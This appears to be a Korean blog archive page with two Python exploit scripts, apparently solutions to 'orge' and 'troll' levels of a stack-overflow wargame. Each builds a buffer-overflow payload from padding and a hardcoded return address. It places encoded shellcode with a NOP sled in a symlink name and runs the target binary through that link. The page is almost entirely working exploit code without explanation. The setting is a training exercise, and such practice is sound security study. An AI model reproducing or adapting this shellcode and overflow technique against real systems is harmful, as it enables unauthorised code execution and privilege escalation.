'2019/04/15'에 해당되는 글 2건

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/orge/troll'
shellAddress =  p(0xbffffba8)
payload = "A"*44+shellAddress
shellCode = "\x90"*28+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


os.system("/bin/ln -s " + path + " " + shellCode)


os.execl("./"+shellCode,"./"+shellCode,payload)

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/darkelf/orge'
shellAddress =  p(0xbffffb8c)
payload = "A"*44+shellAddress
shellCode = "\x90"*27+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


os.system("/bin/ln -s " + path + " " + shellCode)


os.execl("./"+shellCode,"./"+shellCode,payload)